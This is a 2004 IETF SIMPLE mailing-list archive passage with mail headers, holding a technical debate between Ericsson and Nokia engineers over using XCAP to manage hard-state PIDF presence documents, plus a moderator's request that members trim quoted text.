> > there woud be a single device independent "hard-state"=20
> > presence document in addition to the PUA-specific ones. The=20
> > motivation is given in Chapter 1 and the model is illustrated=20
> > in Figure 1.=20
> >=20
> > So in short: The "hard-state" and "soft-state" tuples are=20
> > kept in separate documents, and the scenario you describe=20
> > below won't exist.
> >=20
>=20
> Can you point me to the 2 XML documents that describe those.
> =20
> > What exactly would go into the hard-state presence document=20
> > is not defined in the draft, and  is left for an implementor=20
> > or user to decide. Typically there could be things like=20
> > web-page address, e-mail specific tuple, or even some tuples=20
> > with the future-status, i.e. something that is not tied to a=20
> > single device and/or does not change very often. Also this=20
> > document would form the basis for the outgoing presence=20
> > information in the absense of any publishing PUAs.
> >=20
> > Markus  =20
> >=20
> >=20
> > -----Original Message-----
> > From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> > Sent: 03 March, 2004 10:10
> > To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was=20
> > RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi Markus,
> >=20
> > Lets leave the mandatory-ns element aside for the time being.
> > You stated that one should use XCAP to control *hard state*=20
> > tuples only
> > What if a user changes other  soft tuples with XCAP.
> >=20
> > Will the server allow that?
> >=20
> > Where in your draft you explain/discuss how to handle those cases?
> >=20
> > And what are the tuples in PIDF and other extensions that you=20
> > consider *hard state* tuples.
> >=20
> > Rgds/gf
> >  =20
> >=20
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 20:13:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11765
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 20:13:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhQ8-0003IU-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:13:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhPA-000389-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 20:12:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhOF-0002xp-00; Wed, 03 Mar 2004 20:11:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhOB-0005IS-AK; Wed, 03 Mar 2004 20:11:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhO4-0005Hd-VB
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 20:10:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11651
	for <simple@ietf.org>; Wed, 3 Mar 2004 20:10:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhO2-0002w7-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:10:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhN2-0002ln-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:09:53 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhM3-0002U0-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:08:51 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2418Hd17465
	for <simple@ietf.org>; Wed, 3 Mar 2004 19:08:18 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078362424.2113.21.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] ADMINISTRATIVE INTERRUPT
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 19:07:04 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Folks -

We've had a small message explosion over the last few days.

I'm glad there's engaged conversation, but there are some
things we need to do in order to not overwhelm ourselves.

Please start consolidating your responses in any given
thread (a large part of the explosion are one-line replies
to each of the 5 or 6 other posters on the thread - please 
take the time to compose one message instead of 6).

_PLEASE_ trim the forwarded text in your posts to the
pertinent content. The messages on some of the threads
are growing to the point that many of you are getting
trapped in the "Message Too Large" rule of the administrator
queue. We don't need to reread all those bits each time 
somebody has one sentence to add - don't send them.

Thanks for your help, and keep up the good work!

RjS




_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 20:13:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11810
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 20:13:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhQC-0005UY-Df
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 20:13:08 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i241D8Ju021104
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 20:13:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhQC-0005UJ-8v
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 20:13:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11783
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 20:13:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhQA-0003Ih-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:13:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhPA-00038I-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:12:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhOF-0002xp-00; Wed, 03 Mar 2004 20:11:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhOB-0005IS-AK; Wed, 03 Mar 2004 20:11:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhO4-0005Hd-VB
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 20:10:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11651
	for <simple@ietf.org>; Wed, 3 Mar 2004 20:10:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhO2-0002w7-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:10:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhN2-0002ln-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:09:53 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhM3-0002U0-00
	for simple@ietf.org; Wed, 03 Mar 2004 20:08:51 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2418Hd17465
	for <simple@ietf.org>; Wed, 3 Mar 2004 19:08:18 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078362424.2113.21.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] ADMINISTRATIVE INTERRUPT
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 19:07:04 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Folks -

We've had a small message explosion over the last few days.

I'm glad there's engaged conversation, but there are some
things we need to do in order to not overwhelm ourselves.

Please start consolidating your responses in any given
thread (a large part of the explosion are one-line replies
to each of the 5 or 6 other posters on the thread - please 
take the time to compose one message instead of 6).

_PLEASE_ trim the forwarded text in your posts to the
pertinent content. The messages on some of the threads
are growing to the point that many of you are getting
trapped in the "Message Too Large" rule of the administrator
queue. We don't need to reread all those bits each time 
somebody has one sentence to add - don't send them.

Thanks for your help, and keep up the good work!

RjS




_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Wed Mar  3 20:49:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11247
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 20:03:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGm-0004Sw-GJ
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 20:03:25 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2413OCs017160
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 20:03:24 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhGm-0004Sh-AL
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 20:03:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11215
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 20:03:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhGk-0001Wb-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:03:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyhFq-0001IK-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 20:02:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyhEg-00015l-00; Wed, 03 Mar 2004 20:01:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyhEV-0004Cn-RR; Wed, 03 Mar 2004 20:01:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRVU-0003Dw-ER
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:13:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09847
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:13:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRV8-0002QF-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:13:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRUD-0002HO-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:12:17 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRTN-00020r-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:11:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i238AiLc014479
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:10:44 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 3 Mar 2004 02:06:08 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMRWX2>; Wed, 3 Mar 2004 02:10:34 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400F6.E0F80744"
X-OriginalArrivalTime: 03 Mar 2004 08:06:08.0484 (UTC) FILETIME=[6253F240:01C400F6]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 02:09:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400F6.E0F80744
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Markus,
 
Lets leave the mandatory-ns element aside for the time being.
You stated that one should use XCAP to control *hard state* tuples only
What if a user changes other  soft tuples with XCAP.
 
Will the server allow that?
 
Where in your draft you explain/discuss  how to handle those cases?
 
And what are the tuples in PIDF and other extensions that you consider *hard state* tuples.
 
Rgds/gf
  

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Wednesday, March 03, 2004 2:47 AM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi George,
 
Section 4.7 in XCAP defines the following:
 
   A server is required to understand the baseline schema defined
   by the application usage. However, those schemas can define points of
   extensibility where new content can be added from other namespaces
   and corresponding schemas. Sometimes, the server will understand
   those namespaces and therefore have access to their schemas.
   Sometimes, it will not.

   A server MUST allow for documents that contain elements from
   namespaces not known to the server. In such a case, the server cannot
   validate that such content is schema compliant; it will only verify
   that the XML is well-formed.
 
In this case the baseline schema is the one defined in PIDF soon-to-become RFC. RPID, CIPID etc. extend PIDF in the allowed points of extensibility. There is nothing in those namespaces that the server really needs to understand. This means that the mandatory-ns mechanism (which itself will probably change in the next rev of XCAP), would not be needed.
 
Does this clarify your concerns?
 
Markus 

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 05:03
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,
I would like to adrress the following statement below that I cut from the original exchange:
 
1)  First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
/gf
There is no  stand alone "hard state" PIDF document that is defined today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly verify operations.
What you have in mind, I think, is a number of tuples from various defined presence documents (PIDF, RPID, etc..) that you want to manage using XCAP.
 
Unless you create such a *stand alone* XMP document for hard states, I dont beleive that you can do what you want with XCAP, without creating interoperability problems, or open the door for abuses that would require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
 
This is where I beleive that what you want can only be done with a *new stand-alone* XML  document. For example, the XCAP framework requires the inclusion of the mandatory-ns element, if you would include in the XML document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are not part of PIDF, rather other presence documents.
So how would that work then.
 

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
 
OK, this time I understood your points much better.
 
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
[MI] OK, I think I know what you mean. The model for how the final presence document is put together is shown in the draft in Chapter 3. First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/ 
 
[MI] I think you are right on this one, my previous statement was wrong. XCAP can have problems with handling *any* XML document, if the selector construction will be restricted to only limited number of possibilities. However, see Jonathan's mail attached to this mail. Based on this I assume PIDF would still be OK for XCAP as it is now.
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/ 
 
[MI] OK, I got the question, thanks. Yes, we tried to follow the structure/template how Jonathan has defined the other existing XCAP application usages. So it should be according to how XCAP AUs are ssupposed to be specified. 
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
[MI] As I explained above, you can already PUBLISH several documents and there has to be a way to do composition. So the complexity is already inbuilt in SIMPLE, it is not in this sense extended here.
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400F6.E0F80744
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Hi 
Markus,</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Lets 
leave the mandatory-ns element aside for the time being.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>You 
stated that&nbsp;one should use XCAP to control *hard state* tuples 
only</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>What 
if a user changes other&nbsp; soft tuples with XCAP.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Will 
the server allow that?</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>Where 
in your draft you explain/discuss &nbsp;how to handle those 
cases?</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff size=2>And 
what are the tuples in PIDF and other extensions that you consider&nbsp;*hard 
state* tuples.</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004>&nbsp;</SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2>Rgds/gf</FONT></SPAN></DIV>
<DIV><SPAN class=294375507-03032004><FONT face=Arial color=#0000ff 
size=2>&nbsp;&nbsp;</FONT></SPAN></DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Wednesday, March 03, 2004 
  2:47 AM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</B> 
  RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on 
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>Hi 
  George,</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2>Section 4.7 in XCAP defines the following:</FONT></SPAN></DIV>
